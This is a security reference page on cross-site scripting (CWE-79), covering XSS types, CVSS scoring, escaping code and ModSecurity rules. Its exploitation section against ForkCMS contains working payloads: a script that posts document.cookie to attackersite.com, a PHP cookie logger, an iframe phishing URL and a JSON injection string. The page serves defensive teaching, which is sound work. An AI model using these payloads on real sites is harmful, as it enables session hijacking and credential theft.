Stay in touch

Enter your email and get the latest news and researches on cybersecurity, receive invitations to private security events and conferences.

Cross-Site Scripting – XSS [CWE-79]

This weakness describes improper neutralization of input during web page generation.

Created: September 11, 2012
Latest Update: August 5, 2015

Table of Content

  1. Description
  2. Potential impact
  3. Attack patterns
  4. Affected software
  5. Exploitation Examples
  6. Severity and CVSS Scoring
  7. Mitigations
  8. Vulnerability Remediation Techniques and Examples
  9. References
  10. Latest Related Security Advisories

1. Description

The weakness occurs when software does not perform or incorrectly performs neutralization of input data before displaying it in user's browser. As a result, an attacker is able to inject and execute arbitrary HTML and script code in user's browser in context of a vulnerable website. Based on weakness conditions it is common to divide cross-site scripting errors into 3 main types: reflected XSS, stored XSS and DOM-based XSS.

1.1 Reflected XSS (Non-persistent XSS)

This type describes an error when application reads input data from the HTTP request and reflects it back in HTTP response. The malicious content is never stored in the application and can be viewed only when user follows a specially crafted link.

1.2 Stored XSS (persistent XSS)

This type describes an error when application reads input data from the HTTP request and stores it in database, logs, cached pages, etc. Malicious code can be later executed in user's browser when user visits a vulnerable page.

1.3 DOM-based XSS

This type describes an error within the DOM model of user's browser. That means that injection occurs inside the client script that accepts and return back data from user's browser.

2. Potential impact

After successful attack a malicious user can perform a variety of actions: steal user's cookies, modify webpage contents, perform operations with the site within user's session (XSS proxy).

3. Attack patterns

The following attack patterns can leverage cross-site scripting vulnerability according to CAPEC (Common Attack Pattern Enumeration and Classification) classification:


Alternative WASC Threat Classification describes Cross-site Scripting as an attack under WASC-8.

4. Affected software

Software that uses HTML to display data is potentially vulnerable to this weakness: web applications, browsers, ActiveX controls, browser plugins, email and RSS clients, frontends for hardware solutions, etc.

5. Exploitation Examples

We will use vulnerability in ForkCMS - HTB23075 security advisory (CVE-2012-1188) as an example of this weakness and show two different attacks against the vulnerable application.

Cookie theft

A malicious user can steal cookies and use them to gain access to the application. Successful exploitation requires that user, who is logged-in into the application, follows a specially crafted link to vulnerable website:
http://forkcms.local/private/en/error?type=%3Cscript%20src=http://attackersite.com/fork.js%3E%3C/script%3E
the resultant page looks as follows:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

This means that the fork.js script located at the attackersite.com will be loaded and executed. The fork.js script contains the following code:

  1. function post_to_url(path, params, method) {
  2.   var form = document.createElement("form");
  3.   form.setAttribute("method", method);
  4.   form.setAttribute("action", path);
  5.   var hiddenField = document.createElement("input");
  6.   hiddenField.setAttribute("type", "hidden");
  7.   hiddenField.setAttribute("name", "1");
  8.   hiddenField.setAttribute("value", params);
  9.   form.appendChild(hiddenField);
  10.   document.body.appendChild(form);
  11.   form.submit();
  12. }
  13. post_to_url("http://attackersite.com/fork.php", document.cookie, "post");

The above code sends HTTP POST request to file http://attackersite.com/fork.php that logs all data and redirects the victim back to the original website. The fork.php script contains the following code:

  1. <?php
  2. file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt",$_POST,FILE_APPEND);
  3. file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt","\r\n",FILE_APPEND);
  4. header("Location: http://forkcms.local/private/en/");
  5. exit;
  6. ?>

An attacker can use the received data to create cookies and gain access to the application. This can be achieved with any cookie editor plugin:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

We used the Cookie Editor plugin for Firefox to create the necessary cookies. After that, we just visit the vulnerable website:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

Phishing

Another exploitation example of this vulnerability uses some social engineering techniques to steal the administrator’s password.

This is a usual login window:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

The following PoC changes the contents of this page:
http://forkcms.local/private/en/error?type=%3C/div%3E%3Cdiv%20style=%22color:white;font:75px%20arial;position:absolute;left:0;top:0;background:black;width:100%;height:888px; border:1px%20solid;z-index:1000%22%3E%3Ccenter%3EXSS%3C/div%3E HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

An attacker might also change some elements of the page and steal user credentials after tricking victim into following a specially crafted link:
http://forkcms.local/private/en/error?type=%3C/div%3E%3Ciframe%20src=%22http://www.attacker-site.com/file.html%22%20style=%22border=0;z-index:1000;position:absolute;left:0;top:0;height:100%;width:100%;%22%3E%3C/iframe%3E

A malicious user can create webpage, which looks identical to a legitimate one, and intercept potentially sensitive information:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example


As we can see, an "iframe" tag is loaded from an external domain attacker-site.com. The page looks the same as usual except the submit button, which sends data to a malicious domain, and an extremely long URL. The status bar with malicious website is left on purpose; it can be easily changed to arbitrary value.

DOM-based cross-site scripting with JSON and Ajax

Another exploitation vector for cross-site scripting vulnerabilities is JSON/Ajax injection. Modern web applications widely use Ajax technology to display and update important data without reloading the page. In this example we will demonstrate DOM-based XSS against a bogus web application and show how easy it is to exploit these vulnerabilities.

Let's assume we have a live chat application which displays status of each contact in user's list. Users can use custom messages to display their status. The list of users and their statuses is constructed by a server-side script and passed to each chat member via a JSON object.

JSON object:
{"OnlineUsers": "4", "UserAndStatus": ["User1, Online", "User2, Online", "User3, Online", "User4, Busy"]}

JavaScript Code:

  1. var http_request = new XMLHttpRequest();
  2. var Contacts;
  3. http_request.open("GET", url, true);
  4. http_request.onreadystatechange = function ()
  5. {
  6.         if (http_request.readyState == 4)
  7.         {
  8.                 if (http_request.status == 200) {
  9.                         Contacts = eval("(" + http_request.responseText + ")");
  10.                 }
  11.                 http_request = null;
  12.         }
  13. };
  14. http_request.send(null);

The JavaScript eval() function is essential for JSON data. In case of improper input validation it is very easy to exploit. For example, with custom user status it is possible to inject the following string into JSON object:
Busy"});alert("DOM based XSS");//
and execute alert() function in browsers of every chat member.

DOM-based cross-site scripting with JSON and Ajax CWE-79 PoC exploitation example

6. Severity and CVSS Scoring

Cross-site scripting influences integrity of the application and requires some user interaction (user must visit a specially crafted page or follow a malicious link). It should be scored as follows:
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) – Medium severity.

Vulnerabilities described in HTB23075 security advisory (CVE-2012-1188) can be used as an example of this score.

If user interaction is not needed (e.g. in case of a stored XSS) we advise to score this weakness as AC:L:
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N) – Medium severity.

Vulnerability #2 described in HTB22691 security advisory - Multiple Vulnerabilities in CLANSPHERE (Script insertion vulnerability) can be used as an example of this score.


We use CVSSv2 scoring system in our HTB Security Advisories to calculate the risk of the discovered vulnerabilities. Not all of the vulnerabilities are scored in strict accordance to FIRST recommendations. Our CVSSv2 scores are based on our long internal experience in software auditing and penetration testing, taking into consideration a lot of practical nuances and details. Therefore, sometimes they may differ from those ones that are recommended by FIRST.

7. Mitigations

Cross-site scripting occurs when untrusted data is inserted into HTTP response. Despite all efforts of security community and top vendors this weakness is the most common problem for web applications. There are basic rules that should be followed to protect application from XSS:

  1. Never insert untrusted input:

    • directly in the script:

      1. <script>UNTRUSTED INPUT</script>
      This way it is impossible to sanitize data, because any input passed inside the script tag is treated as script by the browser.

    • directly in CSS:

      1. <style>UNTRUSTED INPUT</style>
      An attacker can use CSS to load and execute arbitrary script code in user's browser.

    • in a tag name:

      1. <UNTRUSTED INPUT src="/images/…">

    • in an attribute name:

      1. <div UNTRUSTED INPUT …=123>

    • in an attribute value:

      1. <a href=”UNTRUSTED INPUT”> (javascript:)

    • inside HTML comment:

      1. <!-- UNTRUSTED INPUT -->
      Input in the above locations cannot be sanitized correctly and can be potentially used to perform cross-site scripting attacks.

    • Directly into HTML page.

    • Inside javascript event.

  2. Perform sanitation of input data before inserting it into the page content:

    Any character that might be treated by the web browser as HTML content should be sanitized. The following table contains characters that should be escaped when handling untrusted input:

    Character Replacement
    <&lt;
    >&gt;
    "&quot;
    '&#x27;
    &&amp;
    /&#x2F;

    Developers should use URL-encoding on input inserted into URL tags.

    When untrusted input is inserted into script or event all quotation symbols and backslashes should be escaped. All properly escaped data within javascript code should be included into quotes.

    When usage of untrusted input as strings or names within scripts or events is crucial for application design, this input should be sanitized and contain strictly letters and numbers.

    These are general recommendations. Every case must be treated separately.

  3. Use native API and additional software whenever possible:

    PHP has native API that can help protect application from XSS attacks. Developers can use htmlspecialchars() or htmlentities() functions to deal with untrusted input. Microsoft web protection library is also a great set of .NET assemblies that should be used when developing applications in .NET.

  4. Always use preset character encoding of the displayed page:

    Never rely on browser auto-select encoding functionality. An attacker might be able to bypass sanitation checks and perform successful XSS attacks if page encoding is not preset and user's browser is configured to use auto-select encoding.

8. Vulnerability Remediation Techniques and Examples

8.1 General recommendations for software developers

For usual output into HTML page:

PHP
  1. $param=htmlspecialchars($param, ENT_QUOTES);

Or perform direct replacement of dangerous symbols:

  1. $param=preg_replace("/[^a-z0-9]/i", "", $param);
PERL
  1. $param=encode_entities($param, "<>\"\'");

Or perform direct replacement of dangerous symbols:

  1. $param=~s/[^a-z0-9]//gi;
ASP.NET
  1. <asp:RegularExpressionValidator runat="server" id="ParamValidator" ControlToValidate="Param" ErrorMessage="Invalid input. You are allowed to enter characters and digits only" ValidationExpression="^[a-zA-Z0-9]" />
ColdFusion
  1. <cfscript>
  2.   param=HTMLEditFormat(param);
  3. </cfscript>
Python
  1. cgi.escape(text, quote=True)

Most of the template engines like Genshi, Jinja2, Makooffer, etc. offer their own sanitation mechanism. It is advised to use them instead.

JAVA/JSP
  1. myString = myString.replaceAll("[^A-Za-z0-9]", "");

These are basic recommendations which could be ineffective depending on application's logic and injection location.

Caution: do not blindly copy-paste the above-mentioned solutions into your application code. In some cases this may result in incorrect behavior of the application or inconsistent patch. Carefully read the References or consult security specialists in case you are not sure how to patch a vulnerability.

8.2 Using Web Application Firewall (WAF)

Web Application Firewall can be an efficient solution to prevent vulnerability exploitation while you are developing or waiting for a security patch. We do not recommend using WAF as a long-term solution, neither as a replacement to properly developed security patch.

As an example, we will use an open source web application firewall ModSecurity developed by Trustwave. There are many rule sets for ModSecurity licensed under ASLv2 and widely distributed by security companies and organizations. These rule sets can be applied to cover all basic cases of vulnerabilities’ exploitation and can be used on production servers.

A majority of XSS attacks was covered in the modsecurity_crs_41_xss_attacks.conf rule set. However certain rules can introduce false positives and can be removed or modified.

Let's have a look at vulnerability in KrisonAV CMS described in HTB23150 (CVE-2013-2712). This is a great example of reflected XSS. We will create a rule that allows passing alphabetical symbols only via the “content” HTTP GET parameter to “/services/get_article.php” script:

SecRule REQUEST_FILENAME "/service/get_article.php" "chain,phase:2,rev:'2', ver:'HTBRIDGE /0.1',maturity:'9',accuracy:'7', t:none,ctl:auditLogParts=+E, block,msg:'XSS in KrisonAV CMS HTB23150',id:'1000000003',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',t:none,capture, tag:'HTBRIDGE/WEB_ATTACK/XSS',setvar:'tx.msg=%{rule.msg}'"
SecRule ARGS:content "!^([a-zA-Z]+)$"

Another vulnerability in Hero Framework described in security advisory HTB23149 (CVE-2013-2649) can be used to pass arbitrary base64-encoded JavaScript code to the application and execute it in user’s browser. The following rule will decode untrusted input and allow only alphabetical characters and spaces in error message:

SecRule ARGS:error "!^([a-zA-Z ]+)$" "phase:2,rev:'2',ver:'HTBRIDGE /0.1', maturity:'9',accuracy:'7',t:base64decode, ctl:auditLogParts=+E,block, msg:'XSS in Hero Framework HTB23149',id:'1000000004',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',capture,tag:'HTBRIDGE/WEB_ATTACK/XSS',setvar:'tx.msg=%{rule.msg}'"

As a temporary solution to block a known XSS attack vector you can use the following universal ModSecurity rule that allows only digits and letters in the vulnerable parameter <PARAM>: SecRule ARGS:<PARAM> !^([a-zA-Z0-9]+)$ "block,phase:2,msg:'Possible XSS attack'"

9. References

  1. XSS (Cross Site Scripting) Prevention Cheat Sheet [www.owasp.org]
  2. DOM based XSS Prevention Cheat Sheet [www.owasp.org]
  3. Microsoft Web Protection Library [wpl.codeplex.com]
  4. Future of XSS Defense [software-security.sans.org]

10. Latest HTB Security Advisories with CWE-79


Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to High-Tech Bridge is given.

↑ Back to Top